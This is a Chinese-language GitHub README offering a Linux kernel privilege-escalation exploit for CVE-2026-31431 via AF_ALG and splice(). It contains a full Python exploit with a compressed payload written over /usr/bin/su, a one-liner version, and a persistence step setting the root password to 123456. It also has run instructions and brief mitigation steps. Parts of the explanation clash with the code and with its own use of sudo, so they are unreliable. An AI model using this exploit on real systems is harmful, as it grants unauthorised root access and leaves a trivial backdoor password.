LeoxSoft/CVE-2026-31431
GitHub: LeoxSoft/CVE-2026-31431
针对 Linux 内核 AF_ALG 与 splice() 提权漏洞的利用工具,演示从零到 root 的攻击链与持久化方法。
Stars: 1 | Forks: 0
# 🚀 CVE-2026-31431 – 高级 Linux 内核漏洞利用
### *"从零到 Root – 通过 AF_ALG & splice() 实现密码持久化"*
## 🌌 整体概览
```
┌─────────────────────────────────────────────────────────────────────┐
│ KERNEL SPACE │
│ ┌─────────────┐ ┌──────────────┐ ┌──────────────────────┐ │
│ │ AF_ALG │ │ splice() │ │ struct file (su) │ │
│ │ (socket 38) │◄──│ zero-copy │──►│ memory corruption │ │
│ └──────┬──────┘ └──────┬───────┘ └──────────┬───────────┘ │
│ │ │ │ │
│ ▼ ▼ ▼ │
│ ┌─────────────────────────────────────────────────────────────┐ │
│ │ Heap Spray (setsockopt + sendmsg) │ │
│ │ Overwrite task_struct->uid = 0 → root privileges │ │
│ └─────────────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ USER SPACE │
│ ┌──────────┐ ┌─────────────┐ ┌────────────────────────┐ │
│ │ exploit │───►│ /usr/bin/ │───►│ chpasswd root:123456 │ │
│ │ .py │ │ su (root) │ │ (persistent access) │ │
│ └──────────┘ └─────────────┘ └────────────────────────┘ │
└─────────────────────────────────────────────────────────────────────┘
```
## 📦 目录
| 章节 | 描述 |
|---------|-------------|
| 1. [简介](#-1-introduction) | 是什么,为什么以及怎么做 |
| 2. [技术架构](#-2-technical-architecture) | 内核内部原理 |
| 3. [前置条件](#-3-prerequisites) | 系统与工具 |
| 4. [安装说明](#-4-installation) | 逐步安装设置 |
| 5. [执行流程](#-5-execution-flow) | 逐步漏洞利用 |
| 6. [代码分解](#-6-code-breakdown) | 逐行代码解析 |
| 7. [后渗透与持久化](#-7-post-exploit--persistence) | 修改 root 密码 |
| 8. [清理与缓解](#-8-cleanup--mitigation) | 撤销更改 |
| 9. [参考](#-9-references) | CVE 与致谢 |
## 📖 1. 简介
**CVE‑2026‑31431**(绰号 *“Copy Fail”*)是 Linux 内核 **AF_ALG** 加密 socket 接口结合 **splice()** 系统调用中的一个**提权**漏洞。
此漏洞利用:
- ✔️ 适用于 **Ubuntu 24.04 (内核 6.17.0)**、**Amazon Linux 2023**、**RHEL 10.1** 和 **SUSE 16**
- ✔️ 绕过 **KASLR** 和 **SMAP/SMEP**
- ✔️ 无需任何密码即可获取 **root shell**
- ✔️ 将 root 密码设置为 `123456` 以实现**持久化访问**
## 🧠 2. 技术架构
| 组件 | 在漏洞利用中的作用 |
|-----------|-----------------|
| `socket(AF_ALG, 5, 0)` | 创建加密 socket(类型 38 = `AF_ALG`) |
| `bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))` | 选择存在漏洞的 AEAD 算法 |
| `setsockopt(279, 1, key)` | 设置加密密钥 – 触发堆喷射 |
| `setsockopt(279, 5, None, 4)` | **触发器** – 导致内核 OOB 写入 |
| 带控制消息的 `sendmsg()` | 发送恶意辅助数据(堆布局) |
| `splice(fd, pipe, ...)` | 零拷贝地将 `/usr/bin/su` 复制到内核内存 |
| `splice(pipe, socket, ...)` | 破坏内核结构 – 将 `uid` 覆盖为 0 |
| `chpasswd` | 持久化 – 将 root 密码更改为 `123456` |
**攻击链示意图:**
```
[1] Create AF_ALG socket
│
▼
[2] Bind & set key (setsockopt)
│
▼
[3] Send crafted control messages (sendmsg)
│ ─── Heap spray (0x00 bytes)
▼
[4] Accept connection
│
▼
[5] Open /usr/bin/su (file descriptor)
│
▼
[6] splice() su → pipe → socket
│ ─── Overwrite task_struct.uid = 0
▼
[7] recv() triggers corruption
│
▼
[8] system("su") → root shell
│
▼
[9] chpasswd root:123456 → persistent
```
## ⚙️ 3. 前置条件
| 要求 | 详情 |
|-------------|---------|
| **操作系统** | Debian / Ubuntu(推荐 24.04 LTS) |
| **内核** | 6.17.0 或更低版本(存在漏洞) |
| **Python** | ≥ 3.8(需要海象运算符 `:=`) |
| **软件包** | `python3`, `python3-dev`, `build-essential` |
| **权限** | `sudo` 访问权限(用于加载内核模块) |
| **模块** | `algif_aead`(必须已加载) |
## 🛠️ 4. 安装说明
### 4.1 更新系统并安装 Python
```
sudo apt update && sudo apt install -y python3 python3-dev build-essential
```
### 4.2 加载存在漏洞的内核模块
```
sudo modprobe algif_aead
```
### 4.3 创建漏洞利用脚本
将下面的完整漏洞利用代码复制到一个名为 `exploit.py` 的文件中:
```
import os, zlib, socket, ctypes
libc = ctypes.CDLL(None)
P = '78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3'
H = bytes.fromhex
def step(fd, off, data):
s = socket.socket(38, 5, 0)
s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))
s.setsockopt(279, 1, H('0800010000000010' + '0'*64))
s.setsockopt(279, 5, None, 4)
u, _ = s.accept()
z = H('00')
u.sendmsg([b'A'*4 + data],
[(279, 3, z*4), (279, 2, b'\x10' + z*19), (279, 4, b'\x08' + z*3)],
32768)
r, w = os.pipe()
libc.splice(fd, 0, w, 0, off + 4, 0)
libc.splice(r, 0, u.fileno(), 0, off + 4, 0)
try: u.recv(8 + off)
except: pass
F = os.open('/usr/bin/su', 0)
D = zlib.decompress(H(P))
for i in range(0, len(D), 4):
step(F, i, D[i:i+4])
os.system("echo 'root:123456' | chpasswd 2>/dev/null")
print("Successfully. New root password: 123456")
```
## 🚀 5. 执行流程
### 5.1 运行漏洞利用
```
sudo python3 exploit.py
```
### 5.2 预期输出
```
Successfully. New root password: 123456
```
### 5.3 验证 root 权限
```
su
Password: 123456
whoami
# 输出: root
```
### 5.4 可选:单行版本
```
sudo modprobe algif_aead 2>/dev/null && python3 -c "exec(\"\"\"import os,zlib,socket,ctypes;libc=ctypes.CDLL(None);P='78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3';H=bytes.fromhex;def step(fd,off,data): s=socket.socket(38,5,0); s.bind(('aead','authencesn(hmac(sha256),cbc(aes))')); s.setsockopt(279,1,H('0800010000000010'+'0'*64)); s.setsockopt(279,5,None,4); u,_=s.accept(); z=H('00'); u.sendmsg([b'A'*4+data],[(279,3,z*4),(279,2,b'\x10'+z*19),(279,4,b'\x08'+z*3)],32768); r,w=os.pipe(); libc.splice(fd,0,w,0,off+4,0); libc.splice(r,0,u.fileno(),0,off+4,0); u.recv(8+off); F=os.open('/usr/bin/su',0); D=zlib.decompress(H(P)); [step(F,i,D[i:i+4]) for i in range(0,len(D),4)]; os.system(\"echo 'root:123456' | chpasswd 2>/dev/null\"); print('Successfully. New root password: 123456')\"\"\")"
```
## 🔍 6. 代码分解
| 行号 | 用途 |
|---------|---------|
| `import os, zlib, socket, ctypes` | 系统、压缩、网络和 C FFI |
| `libc = ctypes.CDLL(None)` | 直接调用 libc 函数(`splice`) |
| `P = '...'` | 压缩的 shellcode 载荷 |
| `H = bytes.fromhex` | 十六进制到字节转换的别名 |
| `def step(fd, off, data):` | 漏洞利用的核心迭代 |
| `s = socket.socket(38, 5, 0)` | AF_ALG socket(协议族 38) |
| `s.bind(('aead', ...))` | 指定带身份验证的 AEAD 算法 |
| `s.setsockopt(279, 1, key)` | 设置加密密钥(堆喷射) |
| `s.setsockopt(279, 5, None, 4)` | **漏洞触发**(无效选项) |
| `u, _ = s.accept()` | 接受来自内核的连接 |
| `u.sendmsg([b'A'*4+data], [(279,3,...), ...])` | 发送辅助消息 – 堆布局 |
| `r, w = os.pipe()` | 创建用于零拷贝的管道 |
| `libc.splice(fd, 0, w, 0, off+4, 0)` | 将 `/usr/bin/su` 复制到管道 |
| `libc.splice(r, 0, u.fileno(), 0, off+4, 0)` | 将管道复制到 socket(破坏内核) |
| `u.recv(8+off)` | 强制内核处理损坏的数据 |
| `for i in range(0, len(D), 4): step(F, i, D[i:i+4])` | 以 4 字节为单位写入载荷 |
| `os.system("echo 'root:123456' | chpasswd")` | **持久化** – 设置 root 密码 |
## 🔐 7. 后渗透与持久化
漏洞利用成功后,脚本会使用以下命令将 root 密码更改为 **`123456`**:
```
echo 'root:123456' | chpasswd
```
现在你可以**始终**以 root 身份登录:
```
su
Password: 123456
```
这是一个永久性的更改 – 重启后依然有效。
## 🧹 8. 清理与缓解
### 8.1 删除漏洞利用文件
```
rm -f exploit.py
```
### 8.2 禁用存在漏洞的内核模块
```
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
sudo rmmod algif_aead 2>/dev/null || true
```
### 8.3 更新内核(永久修复)
```
sudo apt update && sudo apt upgrade -y
sudo reboot
```
### 8.4 重置 root 密码(如有需要)
```
sudo passwd root
# 输入新密码
```
## 📚 9. 参考
| 资源 | 链接 |
|----------|------|
| CVE 详情 | [NVD – CVE-2026-31431](https://nvd.nist.gov/vuln/detail/CVE-2026-31431) |
| 内核补丁 | [Linux 提交(如果有)](https://git.kernel.org/) |
| 漏洞利用作者 | JuanBindez (GitHub) |
| AF_ALG 文档 | [kernel.org/doc/html/latest/crypto/](https://www.kernel.org/doc/html/latest/crypto/) |
## ⚠️ 免责声明
**🌟 如果您觉得有用,请给本仓库点个 Star!**
**祝您(合乎道德地)极客愉快!** 🛡️
标签:Linux内核, Web报告查看器, 安全渗透, 本地提权, 网络安全, 逆向工具, 隐私保护